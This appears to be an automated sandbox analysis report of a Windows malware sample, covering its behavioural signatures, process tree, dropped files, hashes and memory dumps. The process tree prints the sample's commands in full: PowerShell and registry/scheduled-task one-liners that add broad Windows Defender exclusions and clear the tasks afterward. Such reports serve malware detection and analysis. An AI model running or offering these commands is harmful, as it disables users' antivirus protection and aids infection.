Analysis

  • max time kernel
    151s
  • max time network
    160s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 22:52

General

  • Target
    2026-08-18_e062fce4334a2b45b490af2468303414_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 40.7MB
  • Sample260818-2thjjsam9s
  • SHA256 a4544656b322727572d3e25a0f6a2f5d7ea9d883e04985aae59bbea06710d974
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-18_e062fce4334a2b45b490af2468303414_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-18_e062fce4334a2b45b490af2468303414_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5632
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5328
    • C:\Users\Public\8C0ukL\01tAbt.exe
      "C:\Users\Public\8C0ukL\01tAbt.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8C0ukL\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4080
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8C0ukL\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4056
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:976
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:4620
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:4044
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4224
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3688
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:1468
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4132
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3412
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:2716
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:6112
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2444
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2872
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3532
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:4688
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3536
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1184
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2104
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8C0ukL" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4816
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8C0ukL" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3352
                        • C:\Users\Public\8C0ukL\01tAbt.exe
                          "C:\Users\Public\8C0ukL\01tAbt.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:1536
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4264
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1600
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5836
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:480
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1044

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                01tAbt.exe

                                • Path C:\Users\Public\8C0ukL\01tAbt.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\8C0ukL\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 f13c5e8368fd41781d58749aa3359f4020bd4a859c236ea8e8b285b790597c28
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\8C0ukL\adoresd.dat
                                • Size 4.7MB
                                • SHA256 90e30b9a01023617ee290975c01b0b65395f137ca38b17342159c8d6b92a7438
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\8C0ukL\msadox.tb
                                • Size 8KB
                                • SHA256 8ef9fed64be32ba4016d435950aa309244347b4e377f5c2e856650207598de54
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1536-581-0x00007FFD1F700000-0x00007FFD1F702000-memory.dmp

                                memory/1536-576-0x00007FFCFCB00000-0x00007FFCFD01E000-memory.dmp

                                memory/1536-588-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/1536-590-0x00007FFD1F6F0000-0x00007FFD1F6F2000-memory.dmp

                                memory/1536-589-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/1536-587-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/1536-582-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/1536-586-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/1536-579-0x00000151F8B60000-0x00000151F93F1000-memory.dmp

                                memory/3704-541-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-563-0x00000242DFD30000-0x00000242DFDBA000-memory.dmp

                                memory/3704-545-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-546-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-547-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-548-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-553-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-559-0x00000242DD220000-0x00000242DD26E000-memory.dmp

                                memory/3704-561-0x00000242DFD30000-0x00000242DFDBA000-memory.dmp

                                memory/3704-532-0x00007FFD1F6F0000-0x00007FFD1F6F2000-memory.dmp

                                memory/3704-564-0x00000242DFD30000-0x00000242DFDBA000-memory.dmp

                                memory/3704-540-0x00007FFD1F700000-0x00007FFD1F702000-memory.dmp

                                memory/3704-566-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-569-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-568-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-560-0x00000242DFD30000-0x00000242DFDBA000-memory.dmp

                                memory/3704-538-0x00000242DF400000-0x00000242DFC91000-memory.dmp

                                memory/3704-533-0x00007FFCFCB00000-0x00007FFCFD01E000-memory.dmp

                                memory/4640-594-0x00000224C23F0000-0x00000224C2412000-memory.dmp

                                memory/4640-597-0x00000224C2450000-0x00000224C246E000-memory.dmp

                                memory/4640-598-0x00000224C2470000-0x00000224C2522000-memory.dmp

                                memory/4640-599-0x00000224C23E0000-0x00000224C23EA000-memory.dmp

                                memory/4640-601-0x00000224C2A50000-0x00000224C2B40000-memory.dmp

                                memory/5632-1-0x00000000005B0000-0x00000000005BE000-memory.dmp

                                memory/5632-2-0x00000000005C0000-0x00000000005CC000-memory.dmp

                                memory/5632-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

                                memory/5632-526-0x00000000005B0000-0x00000000005BE000-memory.dmp

                                memory/5632-504-0x00007FFD13930000-0x00007FFD13942000-memory.dmp

                                memory/5632-527-0x00007FFD13930000-0x00007FFD13942000-memory.dmp